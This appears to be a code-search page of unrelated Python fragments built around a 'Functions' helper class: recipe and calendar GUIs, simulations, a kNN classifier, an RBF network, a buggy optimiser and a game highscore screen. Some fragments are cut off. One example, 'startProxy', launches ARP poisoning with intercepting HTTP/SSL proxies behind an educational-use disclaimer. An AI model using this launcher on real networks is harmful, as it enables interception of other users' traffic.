        calender = ttk.Label(calenderF,
                             width=20,
                             font=self.fonts.FontHeader,
                             borderwidth=2,
                             relief="groove")
        calender.grid(column=0,
                      row=11,
                      columnspan=2,
                      padx=10,
                      pady=10,
                      sticky="N")

        mycalender = calendar.TextCalendar(calendar.MONDAY)
        calender.config(
            text=mycalender.formatmonth(thisdate.year, thisdate.month))

        #Showing the timer
        countdown_label = ttk.Label(calenderF,
                                    font=self.fonts.FontHeader,
                                    borderwidth=2,
                                    relief="groove",
                                    text=self.i18n.countdown)
        countdown_labelframe = ttk.LabelFrame(calenderF,
                                              labelwidget=countdown_label)
        countdown_labelframe.grid(column=0, row=12, sticky="N", pady=10)

        countdown_entry_text = ttk.Label(countdown_labelframe,
                                         text=self.i18n.settimer)
        countdown_entry_text.grid(column=0, row=13, sticky="N", padx=10)

        countdown_entry = tk.Spinbox(countdown_labelframe,
                                     width=4,
                                     font=self.fonts.FontHeader2,
                                     from_=0,
                                     to=320)
        countdown_entry.grid(column=1, row=13, sticky="N")

        def countdown():
            self.remaining = int(countdown_entry.get()) * 60
            timer()

        def timer():
            import pygame.mixer
            minutes, seconds = divmod(self.remaining, 60)
            if self.remaining <= 0:
                countdown_display.configure(text="time's up!")
                #mBox.showinfo("Time is up!","Timer is done")
                pygame.mixer.init()
                pygame.mixer.music.load(
                    "/home/pi/Desktop/Projekt/countdown.mp3")
                pygame.mixer.music.play()
            else:
                countdown_display.configure(text="%d:%d" % (minutes, seconds))
                self.remaining = self.remaining - 1
                self.job = countdown_display.after(1000, timer)

        def stop():
            countdown_display.after_cancel(self.job)

        countdown_button = tk.Button(countdown_labelframe,
                                     text=self.i18n.start,
                                     command=countdown)
        countdown_button.grid(column=2, row=13, sticky="N", padx=10)
        countdown_stop = tk.Button(countdown_labelframe,
                                   text=self.i18n.stop,
                                   command=stop)
        countdown_stop.grid(column=3, row=13, sticky="N", padx=10)

        countdown_display = ttk.Label(countdown_labelframe,
                                      font=self.fonts.FontHeader2)
        countdown_display.grid(column=1, row=14, sticky="WE", columnspan=4)

        #Showing the temperature
        temperature_header = ttk.Label(calenderF, text="Temperature")
        temperature_display = ttk.LabelFrame(calenderF,
                                             labelwidget=temperature_header)
        temperature_display.grid(column=0, row=16, sticky="N")

        self.temperature = ttk.Label(temperature_display,
                                     font=self.fonts.Clock)
        self.temperature.grid(row=0, column=1, padx=20, pady=1)
        threading.Thread(self.functions.get_temperature(), daemon=True).start()
示例#11
0
    # G1 = Gr.Regular_Graph(N, 2)
    # G1 = Gr.Scale_Free_Graph() # Aun no
    # p = 0.5
    # G1 = Gr.Small_World_Graph(N, p)
    # G1 = Gr.Ring_Graph(N)
    # G1 = Gr.Star_Graph(N)
    # G1 = Gr.Wheel_Graph(N, 2)

    G1.generate_edges()
    # print(G1)

    # Generar txts (archivos que describen la red
    G1.generate_txts()

    # Crear N agentes
    Agentes = Func.create_agents(N, G1, R)

    ID_simulation = G1.name + "_" + str(n)
    k = 5  # Cada k rondas se graba en los csv
    # EJECUTAR LAS RONDAS
    t_start = time.time()
    Func.simulation(ROUNDS, N, Agentes, R, k, ID_simulation)
    t_stop = time.time()
    time_dif = t_stop - t_start
    Func.results(N, R, G1, ROUNDS, time, k, ID_simulation)

    # # Graficar red
    # G1.graficar_graph()

    print("Red:", G1)
    print("Agentes:", N)
示例#12
0
from Functions import Functions
import math

f = Functions()


def set_units(unit_type='km'):
    """
    changes units type for distances
    :param unit_type: sting 'km' or 'nm'
    :return: void
    """
    if unit_type == 'km':
        f.a_e = 6371.0
    elif unit_type == 'nm':
        f.a_e = 3443.9


def direct(lat, lon, distance, azimuth):
    """
    solves direct geodesic issue
    :param lat: float between -90 and 90
    :param lon: float between -180 and 180
    :param distance: float
    :param azimuth: float between 0 and 359
    :return: tuple(lat,lon,reverse azimuth)
    """
    lat1 = math.radians(lat)
    lon1 = math.radians(lon)
    azi = math.radians(azimuth)
    dist = distance / f.a_e
示例#13
0
文件: app.py 项目: phisaw/Sortium
 def settings(self, sender):
     func = Functions()
     func.settings_window()
示例#14
0
import bs4 as bs
import urllib.request
import re
import datetime
from Match import Match
from Log import Log
from Functions import Functions


def decrypt_connection_data():
    return False


# initialize the log
log = Log(datetime.datetime.now())
functions = Functions(log)
_match = Match(log)

# load championship list
championships = functions.load_championships()
if championships == "":
    log.add("Error recovering the links.", 1)

for championship in championships:

    # clear the index
    i = 0

    # the majority of the analysed championships have less than 10 pages of matches
    # so I added this "limit"
    # this limit should be updated to the true limit page of the championship
示例#15
0
    def __init__(self, tabControl, win, language):
        # Instantiate the objects
        self.i18n = I18N(language)
        self.functions = Functions(self)
        self.fonts = Fonts()
        self.win = win
        self.sql = SqLite()

        # Creating the tab, adding it to the tabControl
        tabS = ttk.Frame(tabControl)
        tabControl.add(tabS, text=self.i18n.tabS)

        # Create the recpie_name for the dropdown menu
        self.recipe_name = StringVar(self.win)
        self.recipe_name.set(self.i18n.selectrecipe)

        def handle_focus_in(_):
            recipe_list = self.sql.select_recipes()

            # DROPDOWN MENU ADD
            select_recipe = OptionMenu(recipe_list_frame, self.recipe_name,
                                       *recipe_list)
            select_recipe.grid(column=0, row=0, padx=8, pady=4, sticky="W")

            # on change dropdown value
            def change_dropdown(*args):
                self.recipe_name.get()
                recipe_list = self.sql.select_recipes()

            # link function to change dropdown
            self.recipe_name.trace('w', change_dropdown)

        def get_recipe_name():
            self.selected_recipe = self.recipe_name.get()
            show_selected_recipe(self.selected_recipe)

        def show_selected_recipe(recipe_name):
            #Create treeview for recipe
            import ast
            import re
            recipe = self.sql.show_recipe(recipe_name)
            recipe_ingredient_name = ast.literal_eval(recipe[0][4])
            recipe_ingredient_vol = ast.literal_eval(recipe[0][5])

            # The recipe ingrediences needs to be formattet into two lists, one for the volumes,
            # and one for the measurements. This is because the api for the recipes has strange
            # formats.
            vol = []
            mea = []
            # Going through the list of measurements checking for a number, else append 1
            for x in range(0, len(recipe_ingredient_vol)):
                try:
                    a = re.search("\d*\.\d+|\d+", recipe_ingredient_vol[x])
                    a = a.group()
                    vol.append(a)
                except AttributeError:
                    a = 1
                    vol.append(a)
                try:
                    b = re.search("[a-zA-Z ]+", recipe_ingredient_vol[x])
                    b = b.group()
                    mea.append(b)
                except:
                    b = "stk"
                    mea.append(b)

            # Create a treeview for the recipe ingrediences
            tree = ttk.Treeview(recipe_list_frame, height=15)
            tree.grid(column=0,
                      row=1,
                      rowspan=30,
                      columnspan=3,
                      padx=10,
                      sticky="n")
            tree.config(selectmode='browse')

            # Setup treeframe columns
            tree["columns"] = ("one", "two")
            tree.column("#0", width=200, stretch=False)
            tree.heading("#0", text=self.i18n.treeName, anchor="w")

            tree.column("one", width=50, stretch=False)
            tree.heading("one", text=self.i18n.treeVolume, anchor="w")

            tree.column("two", width=150, stretch=False)
            tree.heading("two", text=self.i18n.treeUnit, anchor="w")

            # Insert data into treeframe
            for n in range(0, len(recipe_ingredient_name)):
                tree.insert("", 0, n, text= recipe_ingredient_name[n],\
                            values = (vol[n],mea[n]))

            # Enable treeview to be edited
            def set_cell_value(event):  # Double click to enter the edit state
                try:
                    for item in tree.selection():
                        item_text = tree.item(item, "values")
                        #print(item_text[0:2]) # Output the value of the selected row
                        column = tree.identify_column(event.x)  # column
                        row = tree.identify_row(event.y)  #row
                    #Placing the textbox
                    cn = int(str(column).replace('#', ''))
                    rn = tree.index(tree.selection())
                    if cn == 1:
                        x_pos = 200
                    if cn == 2:
                        x_pos = 250
                    if cn == 3:
                        x_pos = 290

                    entryedit = Text(recipe_list_frame, width=10, height=1)
                    entryedit.config(wrap='none')
                    entryedit.place(x=x_pos, y=65 + rn * 20)
                    entryedit.insert(0.0, item_text[cn - 1:cn])
                    entryedit.focus_force()

                    # The new value will be saved when the Return button is pressed
                    def saveedit(event):
                        newvalue = entryedit.get(0.0, "end").strip()
                        tree.set(item, column=column, value=newvalue)
                        #set value in db
                        names = tree.get_children()

                        #Build list to be sent to db
                        ingrediences = []
                        for n in names:
                            values = tree.item(n, "values")
                            ingrediences.append(values[0] + " " + values[1])

                        #Update the recipe measurements in db
                        self.sql.update_recipe_measurement(
                            recipe_name, ingrediences)
                        entryedit.destroy()

                    entryedit.bind('<Return>', saveedit)
                except UnboundLocalError:
                    pass

            recipe_instructions = scrolledtext.ScrolledText(recipe_list_frame,
                                                            width=60,
                                                            height=20,
                                                            wrap=tk.WORD)
            recipe_instructions.grid(column=4, row=1)
            recipe_instructions.delete('1.0', tk.END)
            recipe_instructions.insert(tk.END, recipe[0][2])

            def save_instructions():
                instructions = recipe_instructions.get(0.0, tk.END)
                self.sql.update_recipe_instructions(recipe_name, instructions)

            recipe_instructions_save = tk.Button(recipe_list_frame,
                                                 text=self.i18n.save,
                                                 command=save_instructions)
            recipe_instructions_save.grid(column=4, row=0, sticky="w")

            def browse_file():
                pHeight = 322
                pWidth = 322
                self.recipepic = self.functions.getFileName()
                image = Image.open(self.recipepic).resize(
                    (pHeight + 10, pWidth + 10), Image.ANTIALIAS)
                self.img = ImageTk.PhotoImage(image)
                canvas.create_image(0, 0, anchor='nw', image=self.img)

            def save_picture():
                try:
                    self.sql.update_recipe_picture(recipe_name, self.recipepic)
                except AttributeError:
                    pass

            #Browse to a new picture
            browse_new_pic = tk.Button(recipe_list_frame,
                                       text=self.i18n.findPicture,
                                       command=browse_file)
            browse_new_pic.grid(column=5, row=0, sticky="w")
            save_new_pic = tk.Button(recipe_list_frame,
                                     text=self.i18n.savePic,
                                     command=save_picture)
            save_new_pic.grid(column=6, row=0, sticky="e")

            pHeight = 322
            pWidth = 322
            canvas = Canvas(recipe_list_frame)
            canvas.config(width=pWidth, height=pHeight, highlightthickness=0)
            canvas.grid(column=5, row=1, columnspan=2)

            image = Image.open(recipe[0][3]) \
            .resize((pWidth+10,pHeight+10),Image.ANTIALIAS)
            self.img = ImageTk.PhotoImage(image)
            canvas.create_image(0, 0, anchor='nw', image=self.img)

            tree.bind('<Double-1>', set_cell_value)

        recipe_list_label = ttk.Label(tabS,
                                      text=self.i18n.tabS,
                                      font=self.fonts.FontHeader2)
        recipe_list_frame = ttk.LabelFrame(tabS, labelwidget=recipe_list_label)
        recipe_list_frame.grid(column=0, row=0, sticky="w", columnspan=5)

        get_recipe_button = tk.Button(recipe_list_frame,
                                      text=self.i18n.search,
                                      command=get_recipe_name)
        get_recipe_button.grid(column=1, row=0, sticky='W', padx=8, pady=4)

        tabS.bind("<FocusIn>", handle_focus_in)
示例#16
0
def startProxy(ip, portHTTP, portSSL, arp_flag, config):
    arppoisoning = None
    if arp_flag:
        print "[*] You started a ARP poisoning request\n" \
              "[*] This feature is only for educational purpose!\n" \
              "[*] Only use this on your private network!\n" \
              "[*] ----------------------------------------------\n" \
              "[*] Root is needed! Checkig for root now.....\n"

        if checkRoot() is False:
            print "[-] No ROOT privilges found! Exiting..."
            sys.exit(-1)
        else:
            print "[+] Root found! Moving on.\n"

        arppoisoning = ARPPoisoning(ip, portHTTP, portSSL)
        arpstarted = arppoisoning.setup()
        if not arpstarted:
            print "\n[-] Setup interrupted! Exiting..."
            sys.exit(-1)

        arppoisoning.start()

    # Features initialization
    tools = Functions()

    httpServer = ServerThread((ip, portHTTP), tools, config)
    status1 = httpServer.setup()

    if portHTTP != portSSL:
        sslServer = ServerThread((ip, portSSL), tools, config)
        status2 = sslServer.setup()
    else:
        status2 = True, "Not used"

    if not status1[0] or not status2[0]:
        print "HTTP SERVER: " + str(status1[1])
        print "SSL  SERVER: " + str(status2[1])
        sys.exit(-1)

    httpServer.start()
    if portHTTP != portSSL:
        sslServer.start()

    print "[+] Running..."

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print "[*] Stopping..."
        httpServer.stop()
        if portHTTP != portSSL:
            sslServer.stop()
        if arppoisoning is not None and arppoisoning.isActive:
            arppoisoning.stop()

    httpServer.join()
    if portHTTP != portSSL:
        sslServer.join()

    print "[+] End Program"
示例#17
0
 def feed_forward_neuron(self, inputs):
     result = np.dot(self.weights, inputs) + self.bias
     return Functions.sigmoid(result)
示例#18
0
    def printResult(self):
        f = Functions()
        for x in range(len(self.test_data)):
            neighbors = f.getNeighbors(self.training_data, self.test_data[x],
                                       self.k)
            result = f.getResponse(neighbors)
            self.predictions.append(result)

            if repr(result) == repr('PG'):
                if repr(self.test_data[x][-1]) == repr('PG'):
                    self.PG_PG += 1
                elif repr(self.test_data[x][-1]) == repr('SG'):
                    self.PG_SG += 1
                elif repr(self.test_data[x][-1]) == repr('SF'):
                    self.PG_SF += 1
                elif repr(self.test_data[x][-1]) == repr('PF'):
                    self.PG_PF += 1
                elif repr(self.test_data[x][-1]) == repr('C'):
                    self.PG_C += 1
            elif repr(result) == repr('SG'):
                if repr(self.test_data[x][-1]) == repr('PG'):
                    self.SG_PG += 1
                elif repr(self.test_data[x][-1]) == repr('SG'):
                    self.SG_SG += 1
                elif repr(self.test_data[x][-1]) == repr('SF'):
                    self.SG_SF += 1
                elif repr(self.test_data[x][-1]) == repr('PF'):
                    self.SG_PF += 1
                elif repr(self.test_data[x][-1]) == repr('C'):
                    self.SG_C += 1
            elif repr(result) == repr('SF'):
                if repr(self.test_data[x][-1]) == repr('PG'):
                    self.SF_PG += 1
                elif repr(self.test_data[x][-1]) == repr('SG'):
                    self.SF_SG += 1
                elif repr(self.test_data[x][-1]) == repr('SF'):
                    self.SF_SF += 1
                elif repr(self.test_data[x][-1]) == repr('PF'):
                    self.SF_PF += 1
                elif repr(self.test_data[x][-1]) == repr('C'):
                    self.SF_C += 1
            elif repr(result) == repr('PF'):
                if repr(self.test_data[x][-1]) == repr('PG'):
                    self.PF_PG += 1
                elif repr(self.test_data[x][-1]) == repr('SG'):
                    self.PF_SG += 1
                elif repr(self.test_data[x][-1]) == repr('SF'):
                    self.PF_SF += 1
                elif repr(self.test_data[x][-1]) == repr('PF'):
                    self.PF_PF += 1
                elif repr(self.test_data[x][-1]) == repr('C'):
                    self.PF_C += 1
            elif repr(result) == repr('C'):
                if repr(self.test_data[x][-1]) == repr('PG'):
                    self.C_PG += 1
                elif repr(self.test_data[x][-1]) == repr('SG'):
                    self.C_SG += 1
                elif repr(self.test_data[x][-1]) == repr('SF'):
                    self.C_SF += 1
                elif repr(self.test_data[x][-1]) == repr('PF'):
                    self.C_PF += 1
                elif repr(self.test_data[x][-1]) == repr('C'):
                    self.C_C += 1

            if repr(result) != repr(self.test_data[x][-1]):
                self.unmatched += 1
            else:
                self.matched += 1
            # print('predicted = ' + repr(result) + ', actual = ' + repr(test_data[x][-1]))

        accuracy = round(f.getAccuracy(self.test_data, self.predictions), 3)

        # draw the table
        print(
            "Table: (first row is the predicted values, first column is actual values)"
        )
        print("\tPG\tSG\tSF\tPF\tC")
        print("PG\t%d\t%d\t%d\t%d\t%d" %
              (self.PG_PG, self.SG_PG, self.SF_PG, self.PF_PG, self.C_PG))
        print("SG\t%d\t%d\t%d\t%d\t%d" %
              (self.PG_SG, self.SG_SG, self.SF_SG, self.PF_SG, self.C_SG))
        print("SF\t%d\t%d\t%d\t%d\t%d" %
              (self.PG_SF, self.SG_SF, self.SF_SF, self.PF_SF, self.C_SF))
        print("PF\t%d\t%d\t%d\t%d\t%d" %
              (self.PG_PF, self.SG_PF, self.SF_PF, self.PF_PF, self.C_PF))
        print("C\t%d\t%d\t%d\t%d\t%d" %
              (self.PG_C, self.SG_C, self.SF_C, self.PF_C, self.C_C))
        print()
        print('Total test data:', (self.matched + self.unmatched))
        print('Matched:', self.matched, 'Unmatched:', self.unmatched)
        print('Accuracy: ' + repr(accuracy) + '%')
        print()
示例#19
0
文件: Program.py 项目: Podlewski/IAD
#!/usr/bin/python

from Functions import Functions as Fun
from RBF import RBF
from Parser import Parser

Par = Parser()

args = Par.get_args()

train_x, train_y = Fun.readFile(args.train_file)
test_x, test_y = Fun.readFile(args.test_file)

for n in range(len(args.neurones)):
    rbf = RBF(args.neurones[n], train_x, args.sigma, args.alpha)

    it = 0
    condition = True

    while it < args.iterations:
        it += 1
        rbf.train(train_x, train_y)

        if ('' != args.hist_plot) and ("" == args.plot):
            if ((it % (args.iterations / 5) == 0) or it == 1):
                Fun.add_plot(rbf.f, it, False)

    if "" != args.plot:
        Fun.add_plot(rbf.f, args.neurones[n])

    if "" != args.save_res:
class TrustRegion:
    def __init__(self, tube, cable, delta):
        self.p = 0
        self.func = 0
        self.grad = 0
        self.hess = 0
        self.constraint = np.zeros((4, 1))  # functions
        self.gradConstraint = np.zeros((4, 2))  # function
        self.function = Functions(tube, cable)
        #self.merit = m
        #self.mu = mu
        self.hessLag = 0
        self.tube = tube
        self.cable = cable
        self.delta = delta
        [self.constraint, self.gradConstraint] = self.setContraintMatrix()

    def solve_tr(self, g, B, Delta, tol, trace):
        p = 0
        at_bdry = 0
        n = len(g)
        [nrows, ncols] = np.size(B)

        if nrows != n or ncols != n:
            print('solve_tr: incompatible sizes\n')
            p = np.zeros(n, 1)
            at_bdry = 0
            return

        if Delta <= 0:
            print('solve_tr: Delta must be positive\n')
            p = np.zeros(n, 1)
            at_bdry = 0
            return

        normB = np.linalg.norm(B, 'fro')
        if normB == 0.0:
            if np.linalg.norm(g) == 0:
                p = np.zeros(n, 1)
                at_bdry = 0
            else:
                p = -g / np.linalg.norm(g, 2) * Delta
                at_bdry = 1
            return

        # Compute Geshgorin bound for lambda1
        lambda1 = 0
        for i in range(0, n):
            temp = B(i, i) - sum(abs(B[i, 1:(i - 1)]) - sum(abs(B[i, (i + 1):n])))
            if temp < lambda1:
                lambda1 = temp



        lambda_hi = np.linalg.norm(g, 2) / Delta - lambda1
        lambda_lo = 0
        lambda_old = 0
        at_bdry = 1

        p = 0

        while abs(lambda_lo - lambda_hi) > tol * normB:
            C = B + lambda_lo * np.eye(n)
            try:
                R = np.linalg.cholesky(C)
            except:
                # Cholesky factorization failed
                if trace !=0:
                    print('solve_tr: Cholesky factorization failed\n')
                lambda_old = lambda_lo
                lambda_lo = (lambda_lo + lambda_hi) / 2
                continue
            p = - np.linalg.inv(C) *g
            if trace != 0:
                print('solve_tr: ||p|| = %g, Delta = %g\n', norm(p, 2), Delta)
            if np.linalg.norm(p, 2) < Delta:
                lambda_hi = lambda_lo
                lambda_lo = (lambda_lo + lambda_old) / 2
            else:
                if np.linalg.norm(p, 2) == Delta:
                    lambda_hi = lambda_lo
                break

        if lambda_hi == 0:
            at_bdry = 0
            return

        return p, at_bdry


# f is the energy equation
# min lambda for ||grad f - grad cT * lambda||


    def minLambda(self):
        lda = problem1(self.constraint, self.grad)
        return lda

    def setContraintMatrix(self):
        [m, _] = self.tube.shape
        constraint = np.zeros((m, 1))
        gradC = np.zeros((m, 2))
        self.function.cout1 = 0
        for x in range(m):
            [f, g, h] = self.function.constraints()
            constraint[x] = f
            gradC[x, :] = g
            self.function.updateT()
        return constraint, gradC
    '''
        min ||p-hat|| for p-hat subject to c(x)+ grad c(x)p-hat
    '''
    def case2(self):
        [m, _] = self.constraint.shape
        print "Size"
        print self.gradConstraint.shape
        self.function.cout1 = 0
        p_hatM = np.zeros((m, 2))
        nM = np.zeros((m, 1))
        [p_hat, N] = problem2(self.gradConstraint, -self.constraint)
        p_hatM = p_hat
        nM = N
        '''
        for x in range(m):
            print "Size"
            #print self.gradConstraint[x,:].reshape((2,1)).shape
            #print self.gradConstraint[x, 0:2].shape
            #.reshape((2, 1))
            [p_hat, N] = problem2(self.gradConstraint[x, :].reshape((2, 1)), -self.constraint[x])
            p_hatM[x, :] = p_hat.reshape((1, 2))
            nM[x] = N
        '''
        return p_hatM, nM

    '''
    min q m(bp+Nq) subject to
    ||q|| <= (delta_2 - q_2)^1/2
    '''
    def case3(self, N, p):
        B = np.transpose(np.transpose(N) * (self.g + self.hessLag + p))
        r = np.transpose(self.g)*p + (1.0/2.0) * np.transpose(p) * self.hessLag * p
        [q, _] = self.solve_tr(B, r, self.delta)
        return q



    # min d of ||d|| subject to c(x+p)+grad c(x+p)d = 0;
    def case4(self, p):
        [m, _] = self.constraint.shape
        p_hatM = None
        dM = None
        for x in range(m):
            [d, _] = problem2(self.gradConstraint[x, :], -self.constraint[x])
            if x == 0:
                dM = d
            else:
                dM = np.concatenate([dM, d], axis=1)
        return dM
        #[c, gC, _] = self.function.function(self, self.constraint, xs, xe)



    def calrol(self, lbd):
        d = 0
        p = 0
        hL = 0
        [f, g, h] = self.function.function(self.func)
        #, xs + d + p, xe + d + p
        [f1, g1, h] = self.function.function(self.func)
        [c, gC, _] = self.function.function(self)
        [c1, gC1, _] = self.function.function(self)
        #norm(lbd, 2)
        fmu = f +  self.mu * np.linalg.norm(c)
        fu = f1 +  self.mu * np.linalg.norm(c1)

        r = (fmu - fu) / ((self.model(0, f, g, hL) + norm(lbd, 2) * norm(c)) - (self.model(p, f, g, hL) + norm(lbd, 2) *
                                                                                norm(c + gC * p)))

        return r


    def getPk(self):
        pk = 0
        r = 0
        [ph, N] = self.case2()
        q = self.case3(N,ph)
        p = 0
        self.case4()
        self.calrol()

        return pk,r


    def trustalg(self, iteration, de, n):
        pr = 0
        p = 0
        d = 0
        delta = []
        x = []
        #x.append([xs, xe])
        delta.append(de)
        for k in range(iteration):
            # Obtain pk by (approximately) solving (4.3);
            # Evaluate ppk from (4.4);
            [p, pr] = self.getPk()
            if pr < 1.0/ 4.0:
                delta.append((1. / 4.) * delta[len(delta) - 1])
            else:
                if pr > 3. / 4. and abs(np.linalg.norm(pr) - delta[len(delta) - 1]) < 0.00001:
                    delta.append(min(2 * delta[len(delta) - 1], de))
                else:
                    delta.append(delta[len(delta) - 1])
            if pr > n:
                x.append(x[len(x) - 1 + p + d])
            else:
                x.append(x[len(x) - 1])

    '''
示例#21
0
class Highscore:
    def __init__(self):
        self.func = Functions()

    def loop(self):
        bg_y = 0
        running = True
        py.display.set_caption("Highscores")
        while running:

            # DRAW HIGHSCORE TABLE

            rel_y = bg_y % bg.get_rect().height
            display_screen.blit(bg, (0, rel_y - bg.get_rect().height))
            if rel_y < display_height:
                display_screen.blit(bg, (0, rel_y))
            bg_y += 0.1

            self.background = self.func.button("", BLACK, 150, 100, 800, 500,
                                               IACOLOR, IACOLOR)

            self.back_button = self.func.button(
                "Back", WHITE, 20, display_height - instr_buttony - 20,
                instr_buttonx, instr_buttony, IACOLOR, ACOLOR)
            self.total_button = self.func.button("Total", WHITE, 175, 125,
                                                 instr_buttonx, instr_buttony,
                                                 ACOLOR, ACOLOR)
            self.mg1_button = self.func.button("Meteor Strike", WHITE, 175,
                                               205, instr_buttonx,
                                               instr_buttony, ACOLOR, ACOLOR)
            self.mg2_button = self.func.button("Space Dodger", WHITE, 175, 285,
                                               instr_buttonx, instr_buttony,
                                               ACOLOR, ACOLOR)
            self.mg3_button = self.func.button("Strange Planet", WHITE, 175,
                                               365, instr_buttonx,
                                               instr_buttony, ACOLOR, ACOLOR)
            self.mg4_button = self.func.button("Spaceship Parking", WHITE, 175,
                                               445, instr_buttonx,
                                               instr_buttony, ACOLOR, ACOLOR)
            self.mg5_button = self.func.button("Space Maze", WHITE, 175, 525,
                                               instr_buttonx, instr_buttony,
                                               ACOLOR, ACOLOR)
            #TITLE
            text_surf, text_rect = self.func.text_objects(
                "HIGHSCORES", medium_text, WHITE)
            text_rect.center = (self.background.centerx,
                                self.background.top - 25)
            display_screen.blit(text_surf, text_rect)

            #MG1
            mg1_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 205, 525, instr_buttony))
            with open(path.join(high_dir, mg1_highscore), 'r') as f:
                try:
                    self.mg1_highscore = int(f.read())
                except:
                    print("error")
                    self.mg1_highscore = 0

            text_surf, text_rect = self.func.text_objects(
                "Highscore {}".format(str(self.mg1_highscore)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                205 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)
            #MG2
            mg2_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 285, 525, instr_buttony))
            with open(path.join(high_dir, mg2_highscore), 'r') as f:
                try:
                    self.mg2_highscore = int(f.read())
                except:
                    self.mg2_highscore = 0

            text_surf, text_rect = self.func.text_objects(
                "Highscore {}".format(str(self.mg2_highscore)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                285 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)
            #MG3
            mg3_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 365, 525, instr_buttony))
            with open(path.join(high_dir, mg3_highscore), 'r') as f:
                try:
                    self.mg3_highscore = int(f.read())
                except:
                    self.mg3_highscore = 0

            text_surf, text_rect = self.func.text_objects(
                "Highscore {}".format(str(self.mg3_highscore)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                365 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)
            #MG4
            mg4_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 445, 525, instr_buttony))
            with open(path.join(high_dir, mg4_highscore), 'r') as f:
                try:
                    self.mg4_highscore = int(f.read())
                except:
                    self.mg4_highscore = 0

            text_surf, text_rect = self.func.text_objects(
                "Highscore {}".format(str(self.mg4_highscore)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                445 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)

            #MG5
            mg5_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 525, 525, instr_buttony))
            with open(path.join(high_dir, mg5_highscore), 'r') as f:
                try:
                    self.mg5_highscore = int(f.read())
                except:
                    self.mg5_highscore = 0

            text_surf, text_rect = self.func.text_objects(
                "Highscore {}".format(str(self.mg5_highscore)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                525 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)

            # Total
            total_background = py.draw.rect(
                display_screen, ACOLOR,
                (175 + instr_buttonx + 25, 125, 525, instr_buttony))
            self.total_score = self.mg1_highscore + self.mg2_highscore + self.mg3_highscore + self.mg4_highscore +\
                               self.mg5_highscore

            text_surf, text_rect = self.func.text_objects(
                "Total score {}".format(str(self.total_score)), small_text,
                WHITE)
            text_rect.center = ((175 + instr_buttonx + 25) + 525 / 2,
                                125 + instr_buttony / 2)
            display_screen.blit(text_surf, text_rect)

            #EVENT HANDLER
            for event in py.event.get():
                if event.type == py.QUIT:
                    py.quit()
                    quit()
                if event.type == py.MOUSEBUTTONDOWN:
                    mouse_pos = py.mouse.get_pos()
                    if self.back_button.collidepoint(mouse_pos):
                        running = False

            py.display.update()
示例#22
0
 def __init__(self):
     self.functions = Functions()
示例#23
0
  def __init__(self, tabControl, win, language):
    # Instantiate the objects
    self.i18n = I18N(language)
    self.functions = Functions(self)
    self.fonts = Fonts()
    self.win = win
    self.sql = SqLite()

    # Creating the tab, adding it to the tabControl
    tabB = ttk.Frame(tabControl)
    tabControl.add(tabB, text=self.i18n.tabB)

    # Creating the labelframe for the tab
    myWeek_label = ttk.Label(text=self.i18n.myWeek, font = self.fonts.FontHeader)
    self.myWeek = ttk.LabelFrame(tabB, labelwidget=myWeek_label)
    self.myWeek.grid(column=0, row=0, pady=10)

    # This function collect the planned meals from the db when the tab gets focus
    # We also populate the textboxes with the data.
    def handle_focus_in(_):
      self.planned_meals = self.sql.get_planned_meals()
      self.planned_meals = [f'{e}' for e in self.planned_meals]
      for child in self.myWeek.winfo_children():
        if isinstance(child, tk.Text):
          child.config(state="normal")
          child.delete('1.0', tk.END)
          child.insert('1.0', self.planned_meals[0])
          self.planned_meals.pop(0)

    tabB.bind("<FocusIn>", handle_focus_in)

    # Setup the label and textbox for the planned week
    # This could be refactored later. 
    self.monday = ttk.Label(self.myWeek, text = self.i18n.monday,
                            font = self.fonts.FontHeader2)
    self.monday.grid(column=0, row=2)
    self.monday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.monday_recipe.grid(row = 3)


    self.tuesday = ttk.Label(self.myWeek, text = self.i18n.tuesday,
                             font = self.fonts.FontHeader2)
    self.tuesday.grid(column=0, row=4)
    self.tuesday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.tuesday_recipe.grid(row = 5)


    self.wednsday = ttk.Label(self.myWeek, text = self.i18n.wednesday,
                              font = self.fonts.FontHeader2)
    self.wednsday.grid(column=0, row=6)
    self.wednsday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.wednsday_recipe.grid(row = 7)


    self.thursday = ttk.Label(self.myWeek, text = self.i18n.thursday,
                              font = self.fonts.FontHeader2)
    self.thursday.grid(column=0, row=8)
    self.thursday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.thursday_recipe.grid(row = 9)


    self.friday = ttk.Label(self.myWeek, text = self.i18n.friday,
                            font = self.fonts.FontHeader2)
    self.friday.grid(column=0, row=10)
    self.friday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.friday_recipe.grid(row = 11)


    self.saturday = ttk.Label(self.myWeek, text = self.i18n.saturday,
                              font = self.fonts.FontHeader2)
    self.saturday.grid(column=0, row=12)
    self.saturday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.saturday_recipe.grid(row = 13)


    self.sunday = ttk.Label(self.myWeek, text = self.i18n.sunday,
                            font = self.fonts.FontHeader2)
    self.sunday.grid(column=0, row=14)
    self.sunday_recipe = tk.Text(self.myWeek, height=1, width=50)
    self.sunday_recipe.grid(row = 15)


    for child in self.myWeek.winfo_children():
      child.grid_configure(sticky = "W", padx=8, pady=4)
      child.config(state="disabled")

    from calendarFrame import CalendarFrame
    self.calendar = CalendarFrame(tabB, language)
示例#24
0
class NN():
    def __init__(self):

